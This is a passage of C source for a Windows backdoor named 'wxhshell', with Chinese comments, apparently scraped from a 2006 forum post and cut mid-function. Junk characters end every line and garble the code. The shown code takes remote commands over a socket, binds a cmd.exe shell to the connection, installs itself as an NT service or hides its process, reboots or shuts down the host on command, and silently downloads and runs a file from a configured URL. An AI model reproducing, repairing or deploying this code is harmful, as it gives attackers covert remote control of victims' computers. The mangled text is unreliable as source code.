  } [35>T3Ku  
  else { A<[X@o}92  
$O^U"  
    switch(cmd[0]) { wlfq$h p  
  lhduK4u  
  // 帮助 .0#{ ?R,  
  case '?': { MnD^jcx   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F48W8'un  
    break; PgwNEwG  
  } |NXe{q7{  
  // 安装 ]`_eaW?Ua  
  case 'i': { Cc!LJ  
    if(Install()) gatxvR7H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tlz~o[`&  
    else 8Hh= Sp^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7p1y v  
    break; SoL"M[O  
    } G;v3kGn  
  // 卸载 u1_NC;  
  case 'r': { qq[Enf|/y  
    if(Uninstall()) O (YvE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \6K1Z!*;  
    else 9:]|TIPi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k|[86<&[  
    break; lehuJgz'OO  
    } @rt}z+JF  
  // 显示 wxhshell 所在路径 W)fh}|.5  
  case 'p': { C9"yu&l  
    char svExeFile[MAX_PATH]; OA{PKC  
    strcpy(svExeFile,"\n\r"); Q[UYNQ0w  
      strcat(svExeFile,ExeFile); &U0Y#11Cx  
        send(wsh,svExeFile,strlen(svExeFile),0); Ur2) ];WZ  
    break; [Cf{2WB:7  
    } Lt\=E8&rh  
  // 重启 \s">trXwX  
  case 'b': { t[Ywp!y[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); - {|  
    if(Boot(REBOOT)) (G`O[JF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X UcM~U-  
    else { F@u>5e^6  
    closesocket(wsh); \R (Yf!>  
    ExitThread(0); s.9_/cFWB  
    } T +~ _D  
    break;  H= (Zx  
    } +n&9ZC H  
  // 关机 t6a$ZN;  
  case 'd': { V { yk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u<K{=94!e  
    if(Boot(SHUTDOWN)) {BS`v5*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { '1e?  
    else { Q9NKQuSu  
    closesocket(wsh); gWpG-RL0  
    ExitThread(0); Q2nqA1sRk  
    } 1]]#HTwX  
    break; <A@qN95m  
    } Kuy0Ci  
  // 获取shell m vLqccL  
  case 's': { [3fmhc  
    CmdShell(wsh); ^.~m4t`U  
    closesocket(wsh); |tqYRWn0  
    ExitThread(0);  D/]  
    break; 4oA9|}<FR  
  } "6zf-++%  
  // 退出 2<33BBlWA  
  case 'x': { Gf y9?sa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8bI;xjK^Q  
    CloseIt(wsh); '5 kSr(  
    break; }Z3+z@L  
    } l~c# X3E  
  // 离开 @w{"6xc%a  
  case 'q': { L|N[.V9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `=JGlN7  
    closesocket(wsh); E (bx/f  
    WSACleanup(); 2(iv+<t  
    exit(1); q"|#KT^)  
    break; mqk tM6  
        } .:V4>  
  } N,~"8YSo  
  } P[<EFj E  
>nOzz0,  
  // 提示信息 F  uJ=]T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FvaelB  
} 32Jl|@8,g  
  } /Vy,6:$H3  
,J ZM%f  
  return; Fb&WwGY,P  
} Sxg&73;ZV  
T,SCK^  
// shell模块句柄 \\i$zRi  
int CmdShell(SOCKET sock) ->Bx>Y  
{ CyEEE2cV  
STARTUPINFO si; G;Thz  
ZeroMemory(&si,sizeof(si)); +U= !svE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5x1_rjP$|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kV:C=MLI  
PROCESS_INFORMATION ProcessInfo; *^t7?f[  
char cmdline[]="cmd"; rJqRzF{|P6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nk^-+olm  
  return 0; tFKR~?Gc  
} 'W]oQLD^R  
JwM Fu5@  
// 自身启动模式 %x zgTZ  
int StartFromService(void) Kt/Wd  
{ y_A?} 'X  
typedef struct nH -1,#`g  
{ *&sXC@^@^  
  DWORD ExitStatus; tpP2dg9dF  
  DWORD PebBaseAddress; ;)gNe:Q  
  DWORD AffinityMask; _E<  
  DWORD BasePriority; Z4aK   
  ULONG UniqueProcessId; qs'ggF1  
  ULONG InheritedFromUniqueProcessId; [5O`  
}   PROCESS_BASIC_INFORMATION; @!zT+W&  
<"rckPv_H  
PROCNTQSIP NtQueryInformationProcess; x.-d>8-!]c  
xPJ kadu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V- HO_GDo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cgvD>VUw  
KIfR4,=Q|  
  HANDLE             hProcess; =gb(<`{>  
  PROCESS_BASIC_INFORMATION pbi; - yn;Jo2-  
</B5^}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J4;F k  
  if(NULL == hInst ) return 0; Z6XP..  
dx It.h   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EFKOElG(k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {f }4l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M$Of.  
N>J"^GX  
  if (!NtQueryInformationProcess) return 0; b!ea(D!:  
_2C[F~ +l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I N'a5&..  
  if(!hProcess) return 0; u/2!v(  
=z$XqT.'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o>'1ct  
E-_Q3^  
  CloseHandle(hProcess); A/4HR]  
HRY?[+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L--(Y+vmf  
if(hProcess==NULL) return 0; L)LW5%.6  
?]# U~M<'  
HMODULE hMod; o?$B<Cb"  
char procName[255]; < <vE.  
unsigned long cbNeeded; 4mY(*2:HC  
Aey*n=V4#F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @K}Bll.E  
^2"3h$DJfS  
  CloseHandle(hProcess); 9bu1Ax1M  
b^WF R   
if(strstr(procName,"services")) return 1; // 以服务启动 i`7:^v;  
b2UqN]{  
  return 0; // 注册表启动 ]3CWb>!_  
} 2;`WI:nt  
;!pJ %p0Sc  
// 主模块 'rSJ9Mw"x  
int StartWxhshell(LPSTR lpCmdLine) QR h %S{  
{ zC>zkFT>H  
  SOCKET wsl; ]DLs'W;)  
BOOL val=TRUE; !'8jy_<9  
  int port=0; s+6tdBvzs  
  struct sockaddr_in door; Q=F^Y f  
betTAbF  
  if(wscfg.ws_autoins) Install(); </23*n]  
/9SNXjfbt  
port=atoi(lpCmdLine); :\"g}AX  
c->?'h23)  
if(port<=0) port=wscfg.ws_port; -\V;Gw8mD  
EL;OYW(  
  WSADATA data; =7Sw29u<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7!^Zsp^+  
gwN y]!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N3@gvS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zd?uMq;w  
  door.sin_family = AF_INET; oE$zOS&2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C&&33L  
  door.sin_port = htons(port); oZ!+._9  
qz.WF8Sy2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ct386j><  
closesocket(wsl); BaOPtBYA:  
return 1; h#]LXs  
} -59;Zn/  
89a`WV@}  
  if(listen(wsl,2) == INVALID_SOCKET) { z-;yDB:~t  
closesocket(wsl); js)I%Z  
return 1; Cp^%;(@  
} a\Dw*h?b~  
  Wxhshell(wsl); ;N!W|G  
  WSACleanup(); R1C2d+L  
'T*h0xX  
return 0; !k=~a]  
5g4xhYl70n  
} `d!~)D  
#5mnSky+s  
// 以NT服务方式启动 r9$7P?zm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :hUt7/3c  
{ J3AS"+]  
DWORD   status = 0; A3zO&4f ]  
  DWORD   specificError = 0xfffffff; Tg/r V5@ka  
VMV~K7%0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o Np4> 7Lk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3R ZD=`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5vjtF4}7!  
  serviceStatus.dwWin32ExitCode     = 0; za [;d4<}k  
  serviceStatus.dwServiceSpecificExitCode = 0; cK6IyJx-  
  serviceStatus.dwCheckPoint       = 0; Q)l~?Fx  
  serviceStatus.dwWaitHint       = 0; 8ubb~B;  
L_ 2R3 w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  Dv-ubki  
  if (hServiceStatusHandle==0) return; 4dUr8]BkG  
KfMaVU=4P  
status = GetLastError(); >d#Ks0\&  
  if (status!=NO_ERROR) 4@*`V  
{ 9$e6?<`(Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j[\aGS7u  
    serviceStatus.dwCheckPoint       = 0; n%}Vd `c  
    serviceStatus.dwWaitHint       = 0; Y<9Lqc.i  
    serviceStatus.dwWin32ExitCode     = status; .GNl31f0  
    serviceStatus.dwServiceSpecificExitCode = specificError; -MT.qhx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IL N0/eH  
    return; y/yg-\/XF  
  } p_Y U!j_VE  
8cv[|`<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !:w&eFC6  
  serviceStatus.dwCheckPoint       = 0; </7_T<He.  
  serviceStatus.dwWaitHint       = 0; +5IC-=ZB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ncle8=8  
} &?j]L4%  
M8iI e:{ c  
// 处理NT服务事件,比如:启动、停止 wf=M| #}_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8lcB.M  
{ u &s>UkR  
switch(fdwControl) BA cnFO  
{ R=u!Rcv R  
case SERVICE_CONTROL_STOP: @I,:(<6  
  serviceStatus.dwWin32ExitCode = 0; cp g+-Zf%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E]IPag8C  
  serviceStatus.dwCheckPoint   = 0; E A}Vb(2  
  serviceStatus.dwWaitHint     = 0; p:9^46N @  
  { -Rz%<`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @-F[3`HeA  
  } >Lr ud{  
  return; z Qhc V  
case SERVICE_CONTROL_PAUSE: u*i[A\Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `SGI Qrb  
  break; H`028^CH$  
case SERVICE_CONTROL_CONTINUE: U>jLh57  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a}#Jcy!e  
  break; xfJ&11fG2  
case SERVICE_CONTROL_INTERROGATE: #X?#v7i",D  
  break; bEc @"^)  
}; cf ~TVa)M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eLc@w<yB  
} ui#K`.dn  
m^rrbU+HM?  
// 标准应用程序主函数 _onEXrM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) EM&;SQ;C9  
{ rxVJB3P9  
cw)'vAE  
// 获取操作系统版本 )]~;A c^x  
OsIsNt=GetOsVer(); Ivue"_i;!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tQ > IJ  
>u)DuZXj  
  // 从命令行安装 d|c> Y(  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1FQ_`wF4  
!WD~zZ|  
  // 下载执行文件 wmf#3"n  
if(wscfg.ws_downexe) { hi(u L>\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MH8Selnv  
  WinExec(wscfg.ws_filenam,SW_HIDE); gvx {;e  
} $6 A91|ZSQ  
BDCFToSf|  
if(!OsIsNt) { yA#-}Y|]b  
// 如果时win9x,隐藏进程并且设置为注册表启动 y$n`+%_  
HideProc(); \X?GzQkr  
StartWxhshell(lpCmdLine); ~wdKO7fs  
} {_{&t>s2  
else OVE5:)$x  
  if(StartFromService()) d].(x)|st  
  // 以服务方式启动  b jq1",  
  StartServiceCtrlDispatcher(DispatchTable); STxreW1  
else 4Nx]*\\  
  // 普通方式启动 1-=zSWmyK  
  StartWxhshell(lpCmdLine); [qEd`8V (  
NpIx\\d  
return 0; mq(*4KFWJ2  
}
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只看该作者 1 发表于: 2006-10-10
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